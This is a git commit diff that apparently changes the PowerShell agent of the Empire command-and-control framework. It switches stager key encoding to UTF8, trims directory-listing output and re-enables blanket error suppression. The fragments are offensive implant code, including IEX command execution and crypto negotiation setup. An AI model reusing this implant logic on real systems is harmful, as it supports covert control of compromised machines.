Merge branch 'winnie22-utf8_ps_agent_init' into dev
commit
d49da976ba
|
@ -281,11 +281,11 @@ function Invoke-Empire {
|
|||
switch -regex ($cmd) {
|
||||
'(ls|^dir)' {
|
||||
if ($cmdargs.length -eq "") {
|
||||
$output = Get-ChildItem -force | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},lastwritetime,length,name
|
||||
$output = Get-ChildItem -force | select mode,lastwritetime,length,name
|
||||
}
|
||||
else {
|
||||
try{
|
||||
$output = IEX "$cmd $cmdargs -Force -ErrorAction Stop | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},lastwritetime,length,name"
|
||||
$output = IEX "$cmd $cmdargs -Force -ErrorAction Stop | select lastwritetime,length,name"
|
||||
}
|
||||
catch [System.Management.Automation.ActionPreferenceStopException] {
|
||||
$output = "[!] Error: $_ (or cannot be accessed)."
|
||||
|
|
|
@ -52,7 +52,7 @@ function Start-Negotiate {
|
|||
|
||||
# try to ignore all errors
|
||||
$ErrorActionPreference = "SilentlyContinue";
|
||||
$e=[System.Text.Encoding]::ASCII;
|
||||
$e=[System.Text.Encoding]::UTF8;
|
||||
|
||||
$SKB=$e.GetBytes($SK);
|
||||
# set up the AES/HMAC crypto
|
||||
|
|
|
@ -56,8 +56,8 @@ function Start-Negotiate {
|
|||
$Null = [Reflection.Assembly]::LoadWithPartialName("System.Core");
|
||||
|
||||
# try to ignore all errors
|
||||
#$ErrorActionPreference = "SilentlyContinue";
|
||||
$e=[System.Text.Encoding]::ASCII;
|
||||
$ErrorActionPreference = "SilentlyContinue";
|
||||
$e=[System.Text.Encoding]::UTF8;
|
||||
$customHeaders = "";
|
||||
$SKB=$e.GetBytes($SK);
|
||||
# set up the AES/HMAC crypto
|
||||
|
|
|
@ -57,7 +57,7 @@ function Start-Negotiate {
|
|||
|
||||
# try to ignore all errors
|
||||
$ErrorActionPreference = "SilentlyContinue";
|
||||
$e=[System.Text.Encoding]::ASCII;
|
||||
$e=[System.Text.Encoding]::UTF8;
|
||||
$customHeaders = "";
|
||||
$SKB=$e.GetBytes($SK);
|
||||
# set up the AES/HMAC crypto
|
||||
|
|
Binary file not shown.
|
@ -52,7 +52,7 @@ function Start-Negotiate {
|
|||
|
||||
# try to ignore all errors
|
||||
$ErrorActionPreference = "SilentlyContinue";
|
||||
$e=[System.Text.Encoding]::ASCII;
|
||||
$e=[System.Text.Encoding]::UTF8;
|
||||
|
||||
$SKB=$e.GetBytes($SK);
|
||||
# set up the AES/HMAC crypto
|
||||
|
|
Loading…
Reference in New Issue